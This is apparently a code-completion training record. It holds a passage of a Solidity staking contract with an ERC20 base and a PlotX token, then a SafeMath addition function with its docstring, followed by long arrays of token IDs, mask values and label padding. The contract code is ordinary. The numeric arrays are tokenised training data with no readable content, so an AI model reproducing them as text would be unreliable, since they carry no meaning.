// unclaimed reward will be trasfered to this account
address public vaultAddress;
// 10^18
uint256 private constant DECIMAL1e18 = 10**18;
//Total time (in sec) over which reward will be distributed
uint256 public stakingPeriod;
/**
* @dev Emitted when `staker` stake `value` tokens.
*/
event Staked(address indexed staker, uint256 value, uint256 _globalYieldPerToken);
/**
* @dev Emitted when `staker` withdraws their stake `value` tokens.
*/
event StakeWithdrawn(address indexed staker, uint256 value, uint256 _globalYieldPerToken);
/**
* @dev Emitted when `staker` collects interest `_value`.
*/
event InterestCollected(
address indexed staker,
uint256 _value,
uint256 _globalYieldPerToken
);
/**
* @dev Constructor
* @param _stakeToken The address of stake Token
* @param _rewardToken The address of reward Token
* @param _stakingPeriod valid staking time after staking starts
* @param _totalRewardToBeDistributed total amount to be distributed as reward
*/
constructor(
address _stakeToken,
address _rewardToken,
uint256 _stakingPeriod,
uint256 _totalRewardToBeDistributed,
uint256 _stakingStart,
address _vaultAdd
) public {
require(_stakingPeriod > 0, "Should be positive");
require(_totalRewardToBeDistributed > 0, "Total reward can not be 0");
require(_stakingStart >= now, "Can not be past time");
require(_stakeToken != address(0), "Can not be null address");
require(_rewardToken != address(0), "Can not be null address");
require(_vaultAdd != address(0), "Can not be null address");
stakeToken = ERC20(_stakeToken);
rewardToken = PlotXToken(_rewardToken);
stakingStartTime = _stakingStart;
interestData.lastUpdated = _stakingStart;
stakingPeriod = _stakingPeriod;
totalReward = _totalRewardToBeDistributed;
vaultAddress = _vaultAdd;
}
/**
* @dev Allows a staker to deposit Tokens. Notice that `approve` is
* needed to be executed before the execution of this method.
* @param _amount The amount of tokens to stake
*/
function stake(uint256 _amount) external {
require(_amount > 0, "You need to stake a positive token amount");
require(
stakeToken.transferFrom(msg.sender, address(this), _amount),
"TransferFrom failed, make sure you approved token transfer"
);
require(now.sub(stakingStartTime) <= stakingPeriod, "Can not stake after staking period passed");
uint newlyInterestGenerated = now.sub(interestData.lastUpdated).mul(totalReward).div(stakingPeriod);
interestData.lastUpdated = now;
updateGlobalYieldPerToken(newlyInterestGenerated);
updateStakeData(msg.sender, _amount);
emit Staked(msg.sender, _amount, interestData.globalYieldPerToken);
}
/**
* @dev Updates InterestData and Staker data while staking.
* must call update globalYieldPerToken before this operation
* @param _staker Staker's address
* @param _stake Amount of stake
*
*/
function updateStakeData(
address _staker,
uint256 _stake
) internal {
Staker storage _stakerData = interestData.stakers[_staker];
_stakerData.totalStaked = _stakerData.totalStaked.add(_stake);
updateStakeBuyinRate(
_stakerData,
interestData.globalYieldPerToken,
_stake
);
interestData.globalTotalStaked = interestData.globalTotalStaked.add(_stake);
}
/**
* @dev Calculates and updates the yield rate in which the staker has entered
* a staker may stake multiple times, so we calculate his cumulative rate his earning will be calculated based on GlobalYield and StakeBuyinRate
* Formula:
* StakeBuyinRate = [StakeBuyinRate(P) + (GlobalYield(P) x Stake)]
*
* @param _stakerData Staker's Data
* @param _globalYieldPerToken Total yielding amount per token
* @param _stake Amount staked
*
*/
function updateStakeBuyinRate(
Staker storage _stakerData,
uint256 _globalYieldPerToken,
uint256 _stake
) internal {
_stakerData.stakeBuyinRate = _stakerData.stakeBuyinRate.add(
_globalYieldPerToken.mul(_stake).div(DECIMAL1e18)
);
}
/**
* @dev Withdraws the sender staked Token.
*/
function withdrawStakeAndInterest(uint256 _amount) external {
Staker storage staker = interestData.stakers[msg.sender];
require(_amount > 0, "Should withdraw positive amount");
require(staker.totalStaked >= _amount, "Not enough token staked");
withdrawInterest();
updateStakeAndInterestData(msg.sender, _amount);
require(stakeToken.transfer(msg.sender, _amount), "withdraw transfer failed");
emit StakeWithdrawn(msg.sender, _amount, interestData.globalYieldPerToken);
}
/**
* @dev Updates InterestData and Staker data while withdrawing stake.
*
* @param _staker Staker address
* @param _amount Amount of stake to withdraw
*
*/
function updateStakeAndInterestData(
address _staker,
uint256 _amount
) internal {
Staker storage _stakerData = interestData.stakers[_staker];
_stakerData.totalStaked = _stakerData.totalStaked.sub(_amount);
interestData.globalTotalStaked = interestData.globalTotalStaked.sub(_amount);
_stakerData.stakeBuyinRate = 0;
_stakerData.withdrawnToDate = 0;
updateStakeBuyinRate(
_stakerData,
interestData.globalYieldPerToken,
_stakerData.totalStaked
);
}
/**
* @dev Withdraws the sender Earned interest.
*/
function withdrawInterest() public {
uint timeSinceLastUpdate = _timeSinceLastUpdate();
uint newlyInterestGenerated = timeSinceLastUpdate.mul(totalReward).div(stakingPeriod);
updateGlobalYieldPerToken(newlyInterestGenerated);
uint256 interest = calculateInterest(msg.sender);
Staker storage stakerData = interestData.stakers[msg.sender];
stakerData.withdrawnToDate = stakerData.withdrawnToDate.add(interest);
require(rewardToken.transfer(msg.sender, interest), "Withdraw interest transfer failed");
emit InterestCollected(msg.sender, interest, interestData.globalYieldPerToken);
}
function updateGlobalYield() public {
uint timeSinceLastUpdate = _timeSinceLastUpdate();
uint newlyInterestGenerated = timeSinceLastUpdate.mul(totalReward).div(stakingPeriod);
updateGlobalYieldPerToken(newlyInterestGenerated);
}
function getYieldData(address _staker) public view returns(uint256, uint256)
{
return (interestData.globalYieldPerToken, interestData.stakers[_staker].stakeBuyinRate);
}
function _timeSinceLastUpdate() internal returns(uint256) {
uint timeSinceLastUpdate;
if(now.sub(stakingStartTime) > stakingPeriod)
{
timeSinceLastUpdate = stakingStartTime.add(stakingPeriod).sub(interestData.lastUpdated);
interestData.lastUpdated = stakingStartTime.add(stakingPeriod);
} else {
timeSinceLastUpdate = now.sub(interestData.lastUpdated);
interestData.lastUpdated = now;
}
return timeSinceLastUpdate;
}
/**
* @dev Calculates Interest for staker for their stake.
*
* Formula:
* EarnedInterest = MAX[TotalStaked x GlobalYield - (StakeBuyinRate + WithdrawnToDate), 0]
*
* @param _staker Staker's address
*
* @return The amount of tokens credit for the staker.
*/
function calculateInterest(address _staker)
public
view
returns (uint256)
{
Staker storage stakerData = interestData.stakers[_staker];
uint256 _withdrawnToDate = stakerData.withdrawnToDate;
uint256 intermediateInterest = stakerData
.totalStaked
.mul(interestData.globalYieldPerToken).div(DECIMAL1e18);
uint256 intermediateVal = _withdrawnToDate.add(
stakerData.stakeBuyinRate
);
// will lead to -ve value
if (intermediateVal > intermediateInterest) {
return 0;
}
uint _earnedInterest = (intermediateInterest.sub(intermediateVal));
return _earnedInterest;
}
/**
* @dev Calculates and updates new accrued amount per token since last update.
*
* Formula:
* GlobalYield = GlobalYield(P) + newlyGeneratedInterest/GlobalTotalStake.
*
* @param _interestGenerated Interest token earned since last update.
*
*/
function updateGlobalYieldPerToken(
uint256 _interestGenerated
) internal {
if (interestData.globalTotalStaked == 0) {
require(rewardToken.transfer(vaultAddress, _interestGenerated), "Transfer failed while trasfering to vault");
return;
}
interestData.globalYieldPerToken = interestData.globalYieldPerToken.add(
_interestGenerated
.mul(DECIMAL1e18)
.div(interestData.globalTotalStaked)
);
}
function getStakerData(address _staker) public view returns(uint256, uint256)
{
return (interestData.stakers[_staker].totalStaked, interestData.stakers[_staker].withdrawnToDate);
}
/**
* @dev returns stats data.
* @param _staker Address of staker.
* @return Total staked.
* @return Total reward to be distributed.
* @return estimated reward for user at end of staking period if no one stakes from current time.
* @return Unlocked reward based on elapsed time.
* @return Accrued reward for user till now.
*/
function getStatsData(address _staker) external view returns(uint, uint, uint, uint, uint)
{
Staker storage stakerData = interestData.stakers[_staker];
uint estimatedReward = 0;
uint unlockedReward = 0;
uint accruedReward = 0;
uint timeElapsed = now.sub(stakingStartTime);
if(timeElapsed > stakingPeriod)
{
timeElapsed = stakingPeriod;
}
unlockedReward = timeElapsed.mul(totalReward).div(stakingPeriod);
uint timeSinceLastUpdate;
if(timeElapsed == stakingPeriod)
{
timeSinceLastUpdate = stakingStartTime.add(stakingPeriod).sub(interestData.lastUpdated);
} else {
timeSinceLastUpdate = now.sub(interestData.lastUpdated);
}
uint newlyInterestGenerated = timeSinceLastUpdate.mul(totalReward).div(stakingPeriod);
uint updatedGlobalYield;
uint stakingTimeLeft = 0;
if(now < stakingStartTime.add(stakingPeriod)){
stakingTimeLeft = stakingStartTime.add(stakingPeriod).sub(now);
}
uint interestGeneratedEnd = stakingTimeLeft.mul(totalReward).div(stakingPeriod);
uint globalYieldEnd;
if (interestData.globalTotalStaked != 0) {
updatedGlobalYield = interestData.globalYieldPerToken.add(
newlyInterestGenerated
.mul(DECIMAL1e18)
.div(interestData.globalTotalStaked));
globalYieldEnd = updatedGlobalYield.add(interestGeneratedEnd.mul(DECIMAL1e18).div(interestData.globalTotalStaked));
}
accruedReward = stakerData
.totalStaked
.mul(updatedGlobalYield).div(DECIMAL1e18);
if (stakerData.withdrawnToDate.add(stakerData.stakeBuyinRate) > accruedReward)
{
accruedReward = 0;
} else {
accruedReward = accruedReward.sub(stakerData.withdrawnToDate.add(stakerData.stakeBuyinRate));
}
estimatedReward = stakerData
.totalStaked
.mul(globalYieldEnd).div(DECIMAL1e18);
if (stakerData.withdrawnToDate.add(stakerData.stakeBuyinRate) > estimatedReward) {
estimatedReward = 0;
} else {
estimatedReward = estimatedReward.sub(stakerData.withdrawnToDate.add(stakerData.stakeBuyinRate));
}
return (interestData.globalTotalStaked, totalReward, estimatedReward, unlockedReward, accruedReward);
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function _transferFrom(address sender, address recipient, uint256 amount) internal {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract PlotXToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) public lockedForGV;
string public name = "PLOT";
string public symbol = "PLOT";
uint8 public decimals = 18;
address public operator;
modifier onlyOperator() {
require(msg.sender == operator, "Not operator");
_;
}
/**
* @dev Initialize PLOT token
* @param _initialSupply Initial token supply
* @param _initialTokenHolder Initial token holder address
*/
constructor(uint256 _initialSupply, address _initialTokenHolder) public {
_mint(_initialTokenHolder, _initialSupply);
operator = _initialTokenHolder;
}
/**
* @dev change operator address
* @param _newOperator address of new operator
*/
function changeOperator(address _newOperator)
public
onlyOperator
returns (bool)
{
require(_newOperator != address(0), "New operator cannot be 0 address");
operator = _newOperator;
return true;
}
/**
* @dev burns an amount of the tokens of the message sender
* account.
* @param amount The amount that will be burnt.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
/**
* @dev function that mints an amount of the token and assigns it to
* an account.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function mint(address account, uint256 amount)
public
onlyOperator
returns (bool)
{
_mint(account, amount);
return true;
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(lockedForGV[msg.sender] < now, "Locked for governance"); // if not voted under governance
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
require(lockedForGV[from] < now, "Locked for governance"); // if not voted under governance
_transferFrom(from, to, value);
return true;
}
/**
* @dev Lock the user's tokens
* @param _of user's address.
*/
function lockForGovernanceVote(address _of, uint256 _period)
public
onlyOperator
{
if (_period.add(now) > lockedForGV[_of])
lockedForGV[_of] = _period.add(now);
}
function isLockedForGV(address _of) public view returns (bool) {
return (lockedForGV[_of] > now);
}
}
|
* @dev Returns the addition of two unsigned integers, reverting on overflow. Counterpart to Solidity's `+` operator. Requirements: - Addition cannot overflow./
|
function add(uint64 a, uint64 b) internal pure returns (uint64) {
uint64 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| 7,437,916 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
2860,
326,
2719,
434,
2795,
9088,
12321,
16,
15226,
310,
603,
9391,
18,
9354,
2680,
358,
348,
7953,
560,
1807,
1375,
15,
68,
3726,
18,
29076,
30,
300,
1436,
608,
2780,
9391,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
527,
12,
11890,
1105,
279,
16,
2254,
1105,
324,
13,
2713,
16618,
1135,
261,
11890,
1105,
13,
288,
203,
203,
203,
3639,
2254,
1105,
276,
273,
279,
397,
324,
31,
203,
203,
203,
3639,
2583,
12,
71,
1545,
279,
16,
315,
9890,
10477,
30,
2719,
9391,
8863,
203,
203,
203,
203,
203,
203,
3639,
327,
276,
31,
203,
203,
203,
565,
289,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
